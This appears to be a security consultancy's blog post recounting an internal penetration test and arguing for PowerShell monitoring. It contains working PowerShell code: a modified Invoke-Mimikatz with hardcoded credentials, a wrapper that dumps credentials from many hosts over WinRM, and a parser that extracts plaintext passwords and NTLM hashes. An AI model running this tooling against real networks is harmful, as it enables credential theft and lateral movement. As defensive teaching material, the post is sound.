Invoke-Mimikatz – Seven in One Go


Seven in One Go

Michael Schneider
by Michael Schneider
on March 09, 2017
time to read: 9 minutes

PowerShell monitoring is one of the measures we strongly recommend to our clients as part of every internal assessment. Often, this measure is not implemented for financial reasons. In this article, I will demonstrate why it is worth investing in monitoring, using the example of an actual attack.


During an internal penetration test, we managed to gain local administration rights on a client computer. The password of the local administrator account was also used elsewhere on client computers. In addition, the Windows Remote Management service (WinRM) was active on all systems. A connection via WinRM was established with the command Enter-PsSession:

Enter-PsSession -ComputerName -Credential target1\administrator
[]: PS C:\Users\Administrator\Documents> ps

With this, we were in a position to execute commands with local administrator rights on other systems. The goal was now to getuser credentials on each active device. We used the PowerShell script Invoke-Mimikatz.ps1 by Joe Bialek as a basis. Invoke-Mimikatz has already implemented a function to execute Mimikatz on remote computers via WinRM.

Invoke-Mimikatz -DumpCreds -ComputerName

To read access data as simply and efficiently as possible, we had to make a small adjustment to the Invoke-Mimikatz, and also wrote our own script for automating and logging these activities.

Automated reading of access data

We began by expanding the script so that the credentials for the remote connection could be stored in the script itself. Invoke-Mimikatz normally uses the credentials of the user account that launches the script. So here we added the following lines to the Main() function:

$Username = "$ComputerName\administrator"
$PasswordPlain = "SeCuRePa$$1"
$Password = ConvertTo-SecureString $PasswordPlain -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username, $Password

If ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
    Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -Credential $Cred
    Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName -Credential $Cred

Security notice: Saving plain-text passwords is bad security practice and should be avoided at all costs. In the TechNet Wiki Microsoft describes how to store encrypted passwords in a file or in the registry. Here it’s important to ensure that only the user who has encrypted the password is able to decrypt it. A password is stored as a SecureString:

PS C:\> $SecurePassword = Read-Host -Prompt “Enter password” -AsSecureString
Enter password: ***********
PS C:\> $SecureStringAsPlainText = $SecurePassword | ConvertFrom-SecureString
PS C:\> $SecureStringAsPlainText

An encrypted, saved password is read from a file and then converted into an object so that it can be used in a script:

$SecureString = $SecureStringAsPlainText | ConvertTo-SecureString

We built a wrapper script (GitHub) that reads hostnames from a file and accesses them sequentially to read user credentials.

$BasePath = "C:\tmp"
$Timestamp = (Get-Date).ToString("yyyyMd")
$Protocol = "$basePath\protocol-$timestamp.txt"
$Hosts = Get-Content $HostFile

Foreach ($ComputerName in $Hosts) {
    $Time = Get-Date -Format G
    $StartMessage = "[*] $Time - Connecting to $ComputerName..."
    $StartMessage | Tee-Object -Append -FilePath $Protocol

    $LogMimikatz = "$BasePath\cred_$ComputerName.log"

    Try {
        Invoke-Mimikatz -ComputerName $ComputerName -ErrorAction Stop -ErrorVariable ErrorInvokeMimikatz | Out-File -Encoding utf8 $LogMimikatz
    Catch { 
        $Time = Get-Date -Format G
        $ErrorMessage = "[!] $Time - ERROR: $ComputerName - " + $ErrorInvokeMimikatz[1].FullyQualifiedErrorId
        $ErrorMessage | Tee-Object -Append -FilePath $Protocol
        $ErrorInvokeMimikatz = $null

    $Time = Get-Date -Format G
    $EndMessage = "[*] $Time - $ComputerName done"
    $EndMessage | Tee-Object -Append -FilePath $Protocol

The script requires the parameter HostFile, in which all hosts are listed (one host per line). A rudimentary log is kept, describing when a host was accessed and when the processing was completed. The output of Invoke-Mimikatz is stored in a separate file. Should there be an error with a connection – if, for example, the system is inaccessible or access is denied, this is recorded in the log.

Evaluating the access data

Once the script is executed, a Mimikatz output file is available for each host. In order to quickly extract information such as plain-text passwords, we use another PowerShell script (GitHub). Using a regular expression (RegEx), every entry with a password that is not blank can be stored in a file or printed out on the screen.

$PasswordRegex = "\s+\*\sUsername\s+:\s(?<username>[a-zA-Z0-9]+)[\r\n]+\s+\*\sDomain\s+:\s(?<domain>[a-zA-Z0-9]+)[\r\n]+\s+\*\sPassword\s+:\s(?<password>(?!\(null\)).*)[\r\n]+"
$PasswordOutput = New-Object System.Collections.Generic.List[System.Object]

Foreach ($LogFile in Get-ChildItem -Recurse $Path) {
    $Content = Get-Content -Raw -Path $LogFile
    $PasswordMatches = Select-String -InputObject $Content -AllMatches -Pattern $PasswordRegex

    Foreach ($Match in $PasswordMatches.Matches) {
        $SearchEntry = New-Object System.Object
        $SearchEntry | Add-Member -NotePropertyName "Username" -NotePropertyValue $Match.Groups["username"].Value
        $SearchEntry | Add-Member -NotePropertyName "Domain" -NotePropertyValue $Match.Groups["domain"].Value
        $SearchEntry | Add-Member -NotePropertyName "Password" -NotePropertyValue $Match.Groups["password"].Value

$PasswordOutput = ($PasswordOutput | Sort-Object -Property Username -Unique)

A further function of the script extracts all NTLM hashes, which can then be used for both pass-the-hash attacks and for breaking the password using hashcat.

By the way, this assessment caught more than seven passwords in one go. Active monitoring of PowerShell activity might not have prevented the attack, but the attack on user credentials would not have been undiscovered.

About the Author

Michael Schneider

Michael Schneider has been in IT since 2000. Since 2010 he is focused on information security. He is an expert at penetration testing, hardening and the detection of vulnerabilities in operating systems. He is well-known for a variety of tools written in PowerShell to find, exploit, and mitigate weaknesses. (ORCID 0000-0003-0772-9761)


You want to bring your logging and monitoring to the next level?

Our experts will get in contact with you!



Michael Schneider

HardeningKitty Score

HardeningKitty Score

Michael Schneider

HTTP Response Header

HTTP Response Header

Michael Schneider

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here